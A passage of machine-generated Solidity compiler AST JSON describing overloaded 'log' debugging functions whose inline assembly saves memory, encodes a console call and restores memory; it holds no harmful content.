:22"}],"functionName":{"name":"mstore","nativeSrc":"290591:6:22","nodeType":"YulIdentifier","src":"290591:6:22"},"nativeSrc":"290591:17:22","nodeType":"YulFunctionCall","src":"290591:17:22"},"nativeSrc":"290591:17:22","nodeType":"YulExpressionStatement","src":"290591:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43348,"isOffset":false,"isSlot":false,"src":"290372:2:22","valueSize":1},{"declaration":43351,"isOffset":false,"isSlot":false,"src":"290401:2:22","valueSize":1},{"declaration":43354,"isOffset":false,"isSlot":false,"src":"290430:2:22","valueSize":1},{"declaration":43357,"isOffset":false,"isSlot":false,"src":"290459:2:22","valueSize":1},{"declaration":43360,"isOffset":false,"isSlot":false,"src":"290488:2:22","valueSize":1},{"declaration":43363,"isOffset":false,"isSlot":false,"src":"290517:2:22","valueSize":1},{"declaration":43366,"isOffset":false,"isSlot":false,"src":"290546:2:22","valueSize":1},{"declaration":43369,"isOffset":false,"isSlot":false,"src":"290575:2:22","valueSize":1},{"declaration":43372,"isOffset":false,"isSlot":false,"src":"290605:2:22","valueSize":1}],"id":43380,"nodeType":"InlineAssembly","src":"290336:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"289103:3:22","parameters":{"id":43345,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43338,"mutability":"mutable","name":"p0","nameLocation":"289115:2:22","nodeType":"VariableDeclaration","scope":43382,"src":"289107:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43337,"name":"uint256","nodeType":"ElementaryTypeName","src":"289107:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43340,"mutability":"mutable","name":"p1","nameLocation":"289127:2:22","nodeType":"VariableDeclaration","scope":43382,"src":"289119:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43339,"name":"bytes32","nodeType":"ElementaryTypeName","src":"289119:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43342,"mutability":"mutable","name":"p2","nameLocation":"289136:2:22","nodeType":"VariableDeclaration","scope":43382,"src":"289131:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":43341,"name":"bool","nodeType":"ElementaryTypeName","src":"289131:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":43344,"mutability":"mutable","name":"p3","nameLocation":"289148:2:22","nodeType":"VariableDeclaration","scope":43382,"src":"289140:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43343,"name":"bytes32","nodeType":"ElementaryTypeName","src":"289140:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"289106:45:22"},"returnParameters":{"id":43346,"nodeType":"ParameterList","parameters":[],"src":"289166:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43422,"nodeType":"FunctionDefinition","src":"290630:1340:22","nodes":[],"body":{"id":43421,"nodeType":"Block","src":"290705:1265:22","nodes":[],"statements":[{"assignments":[43394],"declarations":[{"constant":false,"id":43394,"mutability":"mutable","name":"m0","nameLocation":"290723:2:22","nodeType":"VariableDeclaration","scope":43421,"src":"290715:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43393,"name":"bytes32","nodeType":"ElementaryTypeName","src":"290715:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43395,"nodeType":"VariableDeclarationStatement","src":"290715:10:22"},{"assignments":[43397],"declarations":[{"constant":false,"id":43397,"mutability":"mutable","name":"m1","nameLocation":"290743:2:22","nodeType":"VariableDeclaration","scope":43421,"src":"290735:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43396,"name":"bytes32","nodeType":"ElementaryTypeName","src":"290735:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43398,"nodeType":"VariableDeclarationStatement","src":"290735:10:22"},{"assignments":[43400],"declarations":[{"constant":false,"id":43400,"mutability":"mutable","name":"m2","nameLocation":"290763:2:22","nodeType":"VariableDeclaration","scope":43421,"src":"290755:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43399,"name":"bytes32","nodeType":"ElementaryTypeName","src":"290755:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43401,"nodeType":"VariableDeclarationStatement","src":"290755:10:22"},{"assignments":[43403],"declarations":[{"constant":false,"id":43403,"mutability":"mutable","name":"m3","nameLocation":"290783:2:22","nodeType":"VariableDeclaration","scope":43421,"src":"290775:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43402,"name":"bytes32","nodeType":"ElementaryTypeName","src":"290775:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43404,"nodeType":"VariableDeclarationStatement","src":"290775:10:22"},{"assignments":[43406],"declarations":[{"constant":false,"id":43406,"mutability":"mutable","name":"m4","nameLocation":"290803:2:22","nodeType":"VariableDeclaration","scope":43421,"src":"290795:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43405,"name":"bytes32","nodeType":"ElementaryTypeName","src":"290795:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43407,"nodeType":"VariableDeclarationStatement","src":"290795:10:22"},{"assignments":[43409],"declarations":[{"constant":false,"id":43409,"mutability":"mutable","name":"m5","nameLocation":"290823:2:22","nodeType":"VariableDeclaration","scope":43421,"src":"290815:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43408,"name":"bytes32","nodeType":"ElementaryTypeName","src":"290815:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43410,"nodeType":"VariableDeclarationStatement","src":"290815:10:22"},{"assignments":[43412],"declarations":[{"constant":false,"id":43412,"mutability":"mutable","name":"m6","nameLocation":"290843:2:22","nodeType":"VariableDeclaration","scope":43421,"src":"290835:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43411,"name":"bytes32","nodeType":"ElementaryTypeName","src":"290835:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43413,"nodeType":"VariableDeclarationStatement","src":"290835:10:22"},{"AST":{"nativeSrc":"290864:831:22","nodeType":"YulBlock","src":"290864:831:22","statements":[{"body":{"nativeSrc":"290907:313:22","nodeType":"YulBlock","src":"290907:313:22","statements":[{"nativeSrc":"290925:15:22","nodeType":"YulVariableDeclaration","src":"290925:15:22","value":{"kind":"number","nativeSrc":"290939:1:22","nodeType":"YulLiteral","src":"290939:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"290929:6:22","nodeType":"YulTypedName","src":"290929:6:22","type":""}]},{"body":{"nativeSrc":"291010:40:22","nodeType":"YulBlock","src":"291010:40:22","statements":[{"body":{"nativeSrc":"291039:9:22","nodeType":"YulBlock","src":"291039:9:22","statements":[{"nativeSrc":"291041:5:22","nodeType":"YulBreak","src":"291041:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"291027:6:22","nodeType":"YulIdentifier","src":"291027:6:22"},{"name":"w","nativeSrc":"291035:1:22","nodeType":"YulIdentifier","src":"291035:1:22"}],"functionName":{"name":"byte","nativeSrc":"291022:4:22","nodeType":"YulIdentifier","src":"291022:4:22"},"nativeSrc":"291022:15:22","nodeType":"YulFunctionCall","src":"291022:15:22"}],"functionName":{"name":"iszero","nativeSrc":"291015:6:22","nodeType":"YulIdentifier","src":"291015:6:22"},"nativeSrc":"291015:23:22","nodeType":"YulFunctionCall","src":"291015:23:22"},"nativeSrc":"291012:36:22","nodeType":"YulIf","src":"291012:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"290967:6:22","nodeType":"YulIdentifier","src":"290967:6:22"},{"kind":"number","nativeSrc":"290975:4:22","nodeType":"YulLiteral","src":"290975:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"290964:2:22","nodeType":"YulIdentifier","src":"290964:2:22"},"nativeSrc":"290964:16:22","nodeType":"YulFunctionCall","src":"290964:16:22"},"nativeSrc":"290957:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"290981:28:22","nodeType":"YulBlock","src":"290981:28:22","statements":[{"nativeSrc":"290983:24:22","nodeType":"YulAssignment","src":"290983:24:22","value":{"arguments":[{"name":"length","nativeSrc":"290997:6:22","nodeType":"YulIdentifier","src":"290997:6:22"},{"kind":"number","nativeSrc":"291005:1:22","nodeType":"YulLiteral","src":"291005:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"290993:3:22","nodeType":"YulIdentifier","src":"290993:3:22"},"nativeSrc":"290993:14:22","nodeType":"YulFunctionCall","src":"290993:14:22"},"variableNames":[{"name":"length","nativeSrc":"290983:6:22","nodeType":"YulIdentifier","src":"290983:6:22"}]}]},"pre":{"nativeSrc":"290961:2:22","nodeType":"YulBlock","src":"290961:2:22","statements":[]},"src":"290957:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"291074:3:22","nodeType":"YulIdentifier","src":"291074:3:22"},{"name":"length","nativeSrc":"291079:6:22","nodeType":"YulIdentifier","src":"291079:6:22"}],"functionName":{"name":"mstore","nativeSrc":"291067:6:22","nodeType":"YulIdentifier","src":"291067:6:22"},"nativeSrc":"291067:19:22","nodeType":"YulFunctionCall","src":"291067:19:22"},"nativeSrc":"291067:19:22","nodeType":"YulExpressionStatement","src":"291067:19:22"},{"nativeSrc":"291103:37:22","nodeType":"YulVariableDeclaration","src":"291103:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"291120:3:22","nodeType":"YulLiteral","src":"291120:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"291129:1:22","nodeType":"YulLiteral","src":"291129:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"291132:6:22","nodeType":"YulIdentifier","src":"291132:6:22"}],"functionName":{"name":"shl","nativeSrc":"291125:3:22","nodeType":"YulIdentifier","src":"291125:3:22"},"nativeSrc":"291125:14:22","nodeType":"YulFunctionCall","src":"291125:14:22"}],"functionName":{"name":"sub","nativeSrc":"291116:3:22","nodeType":"YulIdentifier","src":"291116:3:22"},"nativeSrc":"291116:24:22","nodeType":"YulFunctionCall","src":"291116:24:22"},"variables":[{"name":"shift","nativeSrc":"291107:5:22","nodeType":"YulTypedName","src":"291107:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"291168:3:22","nodeType":"YulIdentifier","src":"291168:3:22"},{"kind":"number","nativeSrc":"291173:4:22","nodeType":"YulLiteral","src":"291173:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"291164:3:22","nodeType":"YulIdentifier","src":"291164:3:22"},"nativeSrc":"291164:14:22","nodeType":"YulFunctionCall","src":"291164:14:22"},{"arguments":[{"name":"shift","nativeSrc":"291184:5:22","nodeType":"YulIdentifier","src":"291184:5:22"},{"arguments":[{"name":"shift","nativeSrc":"291195:5:22","nodeType":"YulIdentifier","src":"291195:5:22"},{"name":"w","nativeSrc":"291202:1:22","nodeType":"YulIdentifier","src":"291202:1:22"}],"functionName":{"name":"shr","nativeSrc":"291191:3:22","nodeType":"YulIdentifier","src":"291191:3:22"},"nativeSrc":"291191:13:22","nodeType":"YulFunctionCall","src":"291191:13:22"}],"functionName":{"name":"shl","nativeSrc":"291180:3:22","nodeType":"YulIdentifier","src":"291180:3:22"},"nativeSrc":"291180:25:22","nodeType":"YulFunctionCall","src":"291180:25:22"}],"functionName":{"name":"mstore","nativeSrc":"291157:6:22","nodeType":"YulIdentifier","src":"291157:6:22"},"nativeSrc":"291157:49:22","nodeType":"YulFunctionCall","src":"291157:49:22"},"nativeSrc":"291157:49:22","nodeType":"YulExpressionStatement","src":"291157:49:22"}]},"name":"writeString","nativeSrc":"290878:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"290899:3:22","nodeType":"YulTypedName","src":"290899:3:22","type":""},{"name":"w","nativeSrc":"290904:1:22","nodeType":"YulTypedName","src":"290904:1:22","type":""}],"src":"290878:342:22"},{"nativeSrc":"291233:17:22","nodeType":"YulAssignment","src":"291233:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"291245:4:22","nodeType":"YulLiteral","src":"291245:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"291239:5:22","nodeType":"YulIdentifier","src":"291239:5:22"},"nativeSrc":"291239:11:22","nodeType":"YulFunctionCall","src":"291239:11:22"},"variableNames":[{"name":"m0","nativeSrc":"291233:2:22","nodeType":"YulIdentifier","src":"291233:2:22"}]},{"nativeSrc":"291263:17:22","nodeType":"YulAssignment","src":"291263:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"291275:4:22","nodeType":"YulLiteral","src":"291275:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"291269:5:22","nodeType":"YulIdentifier","src":"291269:5:22"},"nativeSrc":"291269:11:22","nodeType":"YulFunctionCall","src":"291269:11:22"},"variableNames":[{"name":"m1","nativeSrc":"291263:2:22","nodeType":"YulIdentifier","src":"291263:2:22"}]},{"nativeSrc":"291293:17:22","nodeType":"YulAssignment","src":"291293:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"291305:4:22","nodeType":"YulLiteral","src":"291305:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"291299:5:22","nodeType":"YulIdentifier","src":"291299:5:22"},"nativeSrc":"291299:11:22","nodeType":"YulFunctionCall","src":"291299:11:22"},"variableNames":[{"name":"m2","nativeSrc":"291293:2:22","nodeType":"YulIdentifier","src":"291293:2:22"}]},{"nativeSrc":"291323:17:22","nodeType":"YulAssignment","src":"291323:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"291335:4:22","nodeType":"YulLiteral","src":"291335:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"291329:5:22","nodeType":"YulIdentifier","src":"291329:5:22"},"nativeSrc":"291329:11:22","nodeType":"YulFunctionCall","src":"291329:11:22"},"variableNames":[{"name":"m3","nativeSrc":"291323:2:22","nodeType":"YulIdentifier","src":"291323:2:22"}]},{"nativeSrc":"291353:17:22","nodeType":"YulAssignment","src":"291353:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"291365:4:22","nodeType":"YulLiteral","src":"291365:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"291359:5:22","nodeType":"YulIdentifier","src":"291359:5:22"},"nativeSrc":"291359:11:22","nodeType":"YulFunctionCall","src":"291359:11:22"},"variableNames":[{"name":"m4","nativeSrc":"291353:2:22","nodeType":"YulIdentifier","src":"291353:2:22"}]},{"nativeSrc":"291383:17:22","nodeType":"YulAssignment","src":"291383:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"291395:4:22","nodeType":"YulLiteral","src":"291395:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"291389:5:22","nodeType":"YulIdentifier","src":"291389:5:22"},"nativeSrc":"291389:11:22","nodeType":"YulFunctionCall","src":"291389:11:22"},"variableNames":[{"name":"m5","nativeSrc":"291383:2:22","nodeType":"YulIdentifier","src":"291383:2:22"}]},{"nativeSrc":"291413:17:22","nodeType":"YulAssignment","src":"291413:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"291425:4:22","nodeType":"YulLiteral","src":"291425:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"291419:5:22","nodeType":"YulIdentifier","src":"291419:5:22"},"nativeSrc":"291419:11:22","nodeType":"YulFunctionCall","src":"291419:11:22"},"variableNames":[{"name":"m6","nativeSrc":"291413:2:22","nodeType":"YulIdentifier","src":"291413:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"291516:4:22","nodeType":"YulLiteral","src":"291516:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"291522:10:22","nodeType":"YulLiteral","src":"291522:10:22","type":"","value":"0x3b2279b4"}],"functionName":{"name":"mstore","nativeSrc":"291509:6:22","nodeType":"YulIdentifier","src":"291509:6:22"},"nativeSrc":"291509:24:22","nodeType":"YulFunctionCall","src":"291509:24:22"},"nativeSrc":"291509:24:22","nodeType":"YulExpressionStatement","src":"291509:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"291553:4:22","nodeType":"YulLiteral","src":"291553:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"291559:2:22","nodeType":"YulIdentifier","src":"291559:2:22"}],"functionName":{"name":"mstore","nativeSrc":"291546:6:22","nodeType":"YulIdentifier","src":"291546:6:22"},"nativeSrc":"291546:16:22","nodeType":"YulFunctionCall","src":"291546:16:22"},"nativeSrc":"291546:16:22","nodeType":"YulExpressionStatement","src":"291546:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"291582:4:22","nodeType":"YulLiteral","src":"291582:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"291588:4:22","nodeType":"YulLiteral","src":"291588:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"291575:6:22","nodeType":"YulIdentifier","src":"291575:6:22"},"nativeSrc":"291575:18:22","nodeType":"YulFunctionCall","src":"291575:18:22"},"nativeSrc":"291575:18:22","nodeType":"YulExpressionStatement","src":"291575:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"291613:4:22","nodeType":"YulLiteral","src":"291613:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"291619:2:22","nodeType":"YulIdentifier","src":"291619:2:22"}],"functionName":{"name":"mstore","nativeSrc":"291606:6:22","nodeType":"YulIdentifier","src":"291606:6:22"},"nativeSrc":"291606:16:22","nodeType":"YulFunctionCall","src":"291606:16:22"},"nativeSrc":"291606:16:22","nodeType":"YulExpressionStatement","src":"291606:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"291642:4:22","nodeType":"YulLiteral","src":"291642:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"291648:2:22","nodeType":"YulIdentifier","src":"291648:2:22"}],"functionName":{"name":"mstore","nativeSrc":"291635:6:22","nodeType":"YulIdentifier","src":"291635:6:22"},"nativeSrc":"291635:16:22","nodeType":"YulFunctionCall","src":"291635:16:22"},"nativeSrc":"291635:16:22","nodeType":"YulExpressionStatement","src":"291635:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"291676:4:22","nodeType":"YulLiteral","src":"291676:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"291682:2:22","nodeType":"YulIdentifier","src":"291682:2:22"}],"functionName":{"name":"writeString","nativeSrc":"291664:11:22","nodeType":"YulIdentifier","src":"291664:11:22"},"nativeSrc":"291664:21:22","nodeType":"YulFunctionCall","src":"291664:21:22"},"nativeSrc":"291664:21:22","nodeType":"YulExpressionStatement","src":"291664:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43394,"isOffset":false,"isSlot":false,"src":"291233:2:22","valueSize":1},{"declaration":43397,"isOffset":false,"isSlot":false,"src":"291263:2:22","valueSize":1},{"declaration":43400,"isOffset":false,"isSlot":false,"src":"291293:2:22","valueSize":1},{"declaration":43403,"isOffset":false,"isSlot":false,"src":"291323:2:22","valueSize":1},{"declaration":43406,"isOffset":false,"isSlot":false,"src":"291353:2:22","valueSize":1},{"declaration":43409,"isOffset":false,"isSlot":false,"src":"291383:2:22","valueSize":1},{"declaration":43412,"isOffset":false,"isSlot":false,"src":"291413:2:22","valueSize":1},{"declaration":43384,"isOffset":false,"isSlot":false,"src":"291559:2:22","valueSize":1},{"declaration":43386,"isOffset":false,"isSlot":false,"src":"291682:2:22","valueSize":1},{"declaration":43388,"isOffset":false,"isSlot":false,"src":"291619:2:22","valueSize":1},{"declaration":43390,"isOffset":false,"isSlot":false,"src":"291648:2:22","valueSize":1}],"id":43414,"nodeType":"InlineAssembly","src":"290855:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43416,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"291720:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":43417,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"291726:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":43415,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"291704:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43418,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"291704:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43419,"nodeType":"ExpressionStatement","src":"291704:27:22"},{"AST":{"nativeSrc":"291750:214:22","nodeType":"YulBlock","src":"291750:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"291771:4:22","nodeType":"YulLiteral","src":"291771:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"291777:2:22","nodeType":"YulIdentifier","src":"291777:2:22"}],"functionName":{"name":"mstore","nativeSrc":"291764:6:22","nodeType":"YulIdentifier","src":"291764:6:22"},"nativeSrc":"291764:16:22","nodeType":"YulFunctionCall","src":"291764:16:22"},"nativeSrc":"291764:16:22","nodeType":"YulExpressionStatement","src":"291764:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"291800:4:22","nodeType":"YulLiteral","src":"291800:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"291806:2:22","nodeType":"YulIdentifier","src":"291806:2:22"}],"functionName":{"name":"mstore","nativeSrc":"291793:6:22","nodeType":"YulIdentifier","src":"291793:6:22"},"nativeSrc":"291793:16:22","nodeType":"YulFunctionCall","src":"291793:16:22"},"nativeSrc":"291793:16:22","nodeType":"YulExpressionStatement","src":"291793:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"291829:4:22","nodeType":"YulLiteral","src":"291829:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"291835:2:22","nodeType":"YulIdentifier","src":"291835:2:22"}],"functionName":{"name":"mstore","nativeSrc":"291822:6:22","nodeType":"YulIdentifier","src":"291822:6:22"},"nativeSrc":"291822:16:22","nodeType":"YulFunctionCall","src":"291822:16:22"},"nativeSrc":"291822:16:22","nodeType":"YulExpressionStatement","src":"291822:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"291858:4:22","nodeType":"YulLiteral","src":"291858:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"291864:2:22","nodeType":"YulIdentifier","src":"291864:2:22"}],"functionName":{"name":"mstore","nativeSrc":"291851:6:22","nodeType":"YulIdentifier","src":"291851:6:22"},"nativeSrc":"291851:16:22","nodeType":"YulFunctionCall","src":"291851:16:22"},"nativeSrc":"291851:16:22","nodeType":"YulExpressionStatement","src":"291851:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"291887:4:22","nodeType":"YulLiteral","src":"291887:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"291893:2:22","nodeType":"YulIdentifier","src":"291893:2:22"}],"functionName":{"name":"mstore","nativeSrc":"291880:6:22","nodeType":"YulIdentifier","src":"291880:6:22"},"nativeSrc":"291880:16:22","nodeType":"YulFunctionCall","src":"291880:16:22"},"nativeSrc":"291880:16:22","nodeType":"YulExpressionStatement","src":"291880:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"291916:4:22","nodeType":"YulLiteral","src":"291916:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"291922:2:22","nodeType":"YulIdentifier","src":"291922:2:22"}],"functionName":{"name":"mstore","nativeSrc":"291909:6:22","nodeType":"YulIdentifier","src":"291909:6:22"},"nativeSrc":"291909:16:22","nodeType":"YulFunctionCall","src":"291909:16:22"},"nativeSrc":"291909:16:22","nodeType":"YulExpressionStatement","src":"291909:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"291945:4:22","nodeType":"YulLiteral","src":"291945:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"291951:2:22","nodeType":"YulIdentifier","src":"291951:2:22"}],"functionName":{"name":"mstore","nativeSrc":"291938:6:22","nodeType":"YulIdentifier","src":"291938:6:22"},"nativeSrc":"291938:16:22","nodeType":"YulFunctionCall","src":"291938:16:22"},"nativeSrc":"291938:16:22","nodeType":"YulExpressionStatement","src":"291938:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43394,"isOffset":false,"isSlot":false,"src":"291777:2:22","valueSize":1},{"declaration":43397,"isOffset":false,"isSlot":false,"src":"291806:2:22","valueSize":1},{"declaration":43400,"isOffset":false,"isSlot":false,"src":"291835:2:22","valueSize":1},{"declaration":43403,"isOffset":false,"isSlot":false,"src":"291864:2:22","valueSize":1},{"declaration":43406,"isOffset":false,"isSlot":false,"src":"291893:2:22","valueSize":1},{"declaration":43409,"isOffset":false,"isSlot":false,"src":"291922:2:22","valueSize":1},{"declaration":43412,"isOffset":false,"isSlot":false,"src":"291951:2:22","valueSize":1}],"id":43420,"nodeType":"InlineAssembly","src":"291741:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"290639:3:22","parameters":{"id":43391,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43384,"mutability":"mutable","name":"p0","nameLocation":"290651:2:22","nodeType":"VariableDeclaration","scope":43422,"src":"290643:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43383,"name":"uint256","nodeType":"ElementaryTypeName","src":"290643:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43386,"mutability":"mutable","name":"p1","nameLocation":"290663:2:22","nodeType":"VariableDeclaration","scope":43422,"src":"290655:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43385,"name":"bytes32","nodeType":"ElementaryTypeName","src":"290655:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43388,"mutability":"mutable","name":"p2","nameLocation":"290675:2:22","nodeType":"VariableDeclaration","scope":43422,"src":"290667:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43387,"name":"uint256","nodeType":"ElementaryTypeName","src":"290667:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43390,"mutability":"mutable","name":"p3","nameLocation":"290687:2:22","nodeType":"VariableDeclaration","scope":43422,"src":"290679:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43389,"name":"address","nodeType":"ElementaryTypeName","src":"290679:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"290642:48:22"},"returnParameters":{"id":43392,"nodeType":"ParameterList","parameters":[],"src":"290705:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43462,"nodeType":"FunctionDefinition","src":"291976:1334:22","nodes":[],"body":{"id":43461,"nodeType":"Block","src":"292048:1262:22","nodes":[],"statements":[{"assignments":[43434],"declarations":[{"constant":false,"id":43434,"mutability":"mutable","name":"m0","nameLocation":"292066:2:22","nodeType":"VariableDeclaration","scope":43461,"src":"292058:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43433,"name":"bytes32","nodeType":"ElementaryTypeName","src":"292058:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43435,"nodeType":"VariableDeclarationStatement","src":"292058:10:22"},{"assignments":[43437],"declarations":[{"constant":false,"id":43437,"mutability":"mutable","name":"m1","nameLocation":"292086:2:22","nodeType":"VariableDeclaration","scope":43461,"src":"292078:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43436,"name":"